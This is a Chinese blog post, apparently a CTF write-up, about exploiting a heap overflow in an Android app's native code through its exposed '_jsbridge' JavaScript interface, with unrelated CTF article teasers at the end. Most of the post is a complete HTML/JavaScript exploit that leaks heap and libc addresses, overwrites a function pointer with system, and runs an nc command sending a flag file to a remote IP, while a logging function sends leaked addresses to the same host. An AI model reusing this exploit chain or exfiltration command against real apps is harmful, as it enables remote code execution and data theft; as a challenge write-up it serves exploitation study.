代码编织梦想

pwndroid

一个安卓端程序,native层是简单的菜单程序,其中edit功能没有检查长度,可以溢出,并且没有使用\0截断字符串,在show的时候可以泄露后续的数据

难点在于如何进行交互,程序注册了JSBridge用于与js进行交互,其中该接口对象在js中的对象名为_jsbridge

该对象有一个call函数

因此,在javascript里,可以使用javascript:_jsbridge.call设置好参数后就能调用到对应的函数。

溢出漏洞利用,覆盖函数指针为system,执行nc命令将flag文件反弹到远程服务器里。

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <script type="text/javascript">
        var xhr = new XMLHttpRequest();
        function stringToHex(str) {
           var val="";
           for(var i = 0; i < str.length; i++){
              val += str.charCodeAt(i).toString(16);
           }
           return val;
       }
       var sleep = function(time) {
         var startTime = new Date().getTime() + parseInt(time, 10);
          while(new Date().getTime() < startTime) {}
       };
       function log(info) {
          xhr.open('GET', 'http://192.3.81.102/' + info, true);
          xhr.send();
       }


       function add(index,size,content,back) {
            content = stringToHex(content);
            javascript:_jsbridge.call("add",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
       }
       function edit(index,size,content,back) {
            content = stringToHex(content);
            javascript:_jsbridge.call("edit",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
       }
       function edit2(index,size,content,back) {
            javascript:_jsbridge.call("edit",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
            sleep(5000);
       }


       function del(index,back) {
            javascript:_jsbridge.call("free",'{"data":{"idx":' + index.toString() + ' },"cbName":"' + back + '" }');
            sleep(5000);
       }
       function show(index,back) {
            javascript:_jsbridge.call("show",'{"data":{"idx":' + index.toString() + ' },"cbName":"' + back + '" }');
       }
       function getPadding(size,c) {
            var ans = '';
            for (var i=0;i<size;i++) {
               ans += c;
            }
            return ans;
       }
       var heap_addr=null;
       var elf_base=null;
       function common_back(data) {
       }


       function p32(value) {
          var t = value.toString(16);
          while (t.length != 8) {
             t = t + '0';
          }
          var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
          //alert(ans);
          return ans;
       }


       //start
       add(0,0x8,getPadding(0x8,'a'),"back0");


       function back0(data) {
          sleep(5000);
          add(1,0x8,getPadding(0x8,'b'),"back1");
       }
       function back1(data) {
          sleep(5000);
          add(2,0x8,getPadding(0x8,'c'),"back2");
       }
       function back2(data) {
          sleep(5000);
          add(3,0x8,getPadding(0x20,'d'),"back3");
       }
       function back3(data) {
          sleep(5000);
          edit(2,0x18,getPadding(0x18,'c'),"back4");;
       }


       function back4(data) {
          sleep(5000);
          show(2,"back5");
       }


       function back5(data) {
          sleep(5000);
          data = data['msg'];
          heap_addr = parseInt(data.substr(54,2) + data.substr(52,2) + data.substr(50,2) + data.substr(48,2),16);
          handlePc_addr = parseInt(data.substr(62,2) + data.substr(60,2) + data.substr(58,2) + data.substr(56,2),16);
          elf_base = handlePc_addr - 0xbf0;
          memset_got = elf_base + 0x2FDC;
          edit2(2,0x1C,stringToHex(getPadding(0x18,'c'))+p32(memset_got),"back6");
          //alert("heap_addr="+heap_addr.toString(16) + "handlePc_addr=" + handlePc_addr.toString(16));


       }


       function back6(data) {
          sleep(5000);
          show(3,"back7");
       }


       function back7(data) {
          sleep(5000);
          data = data['msg'];
          memset_addr = parseInt(data.substr(6,2) + data.substr(4,2) + data.substr(2,2) + data.substr(0,2),16);
          libc_base = memset_addr - 0x19b30;
          system_addr = libc_base + 0x72b60;
          log("libc_base=" + libc_base.toString(16) + " system_addr=" + system_addr.toString(16));
          edit2(2,0x20,stringToHex(getPadding(0x18,'c'))+p32(heap_addr) + p32(system_addr),"back8")
       }
       function back8(data) {
          sleep(5000);
          var cmd = "nc 192.3.81.102 6666 < /data/local/tmp/flag;";
          edit(3,cmd.length,cmd,"back9");
       }


       function back9(data) {
          sleep(5000);
          //alert("ready to go!");
          show(3,"back10");
       }


    </script>
</head>


<body>
  <div>haivk</div>
</body>
</html>

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/seaaseesa/article/details/109311358

常见的对称加密(工业互联网安全技能大赛初赛wp)-爱代码爱编程

题目描述 S: [14, 13, 4, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7] [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8] [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0] [15,

CTF web题 代理相关-爱代码爱编程

背景 有三虚拟机:虚拟机a、虚拟机service-provider、虚拟机c,我们只能访问虚拟机a的8080端口及其提供的web服务,其中包括访问虚拟机service-provider的代理服务;虚拟机service-provider的web服务没有对外端口,提供访问虚拟机c的代理;虚拟机c没有直接对外提供服务。 来看虚拟机a的代理服务: // 虚拟机

CTFHub_技能树_Web_信息泄露_Git泄露——“Log”、“Stash”、“Index”-爱代码爱编程

文章目录 一、“Log”法一、git reset法二、git diff二、“Stash”三、“Index”完 一、“Log” 开启环境 使用dirsearch扫描,发现git泄露 python dirsearch.py -u <url> -e * 使用Githack克隆目录 注意,需要python2环境和安装G

CTF题记——详谈两道Web题-爱代码爱编程

前言 最近学校也在招新,基本没什么时间做题,最近也很少发博客。就写几道题来充充数吧。 正文 fakebook 我的思路呢,只有一点沾边了,记一下现在的思考: 注册了一个username就找不到其他信息了,然后考虑了源码泄露。找了robots.txt,发现了一个user.php.bak,访问得到泄露的文件。是这样 <?php class U

ctfshow-web入门117(绕过exit头部限制)-爱代码爱编程

源码如下: <?php /* # -*- coding: utf-8 -*- # @Author: yu22x # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-01 18:16:59 */ highlight_f

ctfshow 1024杯writeup-爱代码爱编程

web签到 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-20 23:59:00 # @Last Modified by: h1xa # @Last Modified time: 2020-10-21 03:51:36 # @email: h1xa@ct

二进制漏洞——栈溢出复现-爱代码爱编程

二进制漏洞——栈溢出复现 栈布局如下: 可以看出,要构造栈溢出需要将函数内部成员长度突破EBP并覆盖到返回地址处即可得到执行。构造代码如下:#include <stdio.h> #include <windows.h> __declspec(safebuffers) void OverFlow(char *); __dec

骇极杯_2018_momo_server(条件竞争UAF)-爱代码爱编程

骇极杯_2018_momo_server(条件竞争UAF) 首先,检查一下程序的保护机制 然后,我们用IDA分析一下 Count功能开启了一个线程 该线程会异步进行堆的free操作,其中注意到free(ptr[i]->name)后,没有将name指针清零,并且该循环尾部会休眠1s。 结尾会将ptr指针清零 在add函数中,

watevr_2019_5x5_lightsout-爱代码爱编程

watevr_2019_5x5_lightsout 根据这里的越界异或,将返回地址改为one_gadget。其中注意到能够异或的值是有限定的,可以异或(7 << (i - 1))的值,如下 00000011 00000111 00001110 00011100 00111000 01110000 11100000 11000000 10